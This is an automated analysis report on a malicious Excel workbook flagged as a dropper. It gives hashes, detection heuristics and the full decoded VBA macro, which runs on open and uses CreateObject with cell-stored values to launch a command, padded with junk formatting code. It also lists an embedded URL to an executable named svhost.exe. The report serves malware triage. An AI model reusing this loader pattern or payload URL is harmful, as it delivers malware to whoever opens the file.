Office (OOXML) malware analysis — malicious · 5ba6fd68e00be6f3

MALICIOUS

Office (OOXML)

398.2 KB First seen: 2020-11-12

MD5: b07f4d492f865df7b83704be22498a0b SHA-1: 9a5d58edf4eba16bbf385b9ce8c4b6605d74cb41 SHA-256: 5ba6fd68e00be6f3f527263832ed0a0372b5129e040234dc16aba671bb7dbf70

290 Risk Score

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 3 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set wopjsesywxquevddfoyawnpklevoiwpjgfgikrfz  = CreateObject(Range("A9").Value)
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set wopjsesywxquevddfoyawnpklevoiwpjgfgikrfz  = CreateObject(Range("A9").Value)

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://phoenixcollege.edu.au/files/svhost.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1630 bytes
SHA-256: `a46483cbfb737db9112e9a75360452887d0465e70d7be630d93337e435cff061`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A1:J22").Select Selection.Borders(xlDiagonalDown).LineStyle = xlNone Selection.Borders(xlDiagonalUp).LineStyle = xlNone With Selection.Borders(xlEdgeLeft) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With dgmcufszvuzlqgydsoodxabxdtieklivpcycoiii = Range("A8").Value With Selection.Borders(xlEdgeTop) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Set wopjsesywxquevddfoyawnpklevoiwpjgfgikrfz = CreateObject(Range("A9").Value) With Selection.Borders(xlEdgeBottom) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Dim feqbrllequcnyluronccjblcnooldsqifubjisya With Selection.Borders(xlEdgeRight) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With feqbrllequcnyluronccjblcnooldsqifubjisya = wopjsesywxquevddfoyawnpklevoiwpjgfgikrfz.Create(dgmcufszvuzlqgydsoodxabxdtieklivpcycoiii) End Sub Attribute VB_Name = "xjlrivufkcjdeonluejntnatxns" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `d695e44d29d76dd1c4f97e93e4dbcabadbab04db20cbab2b60b1ef25badf15ed`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.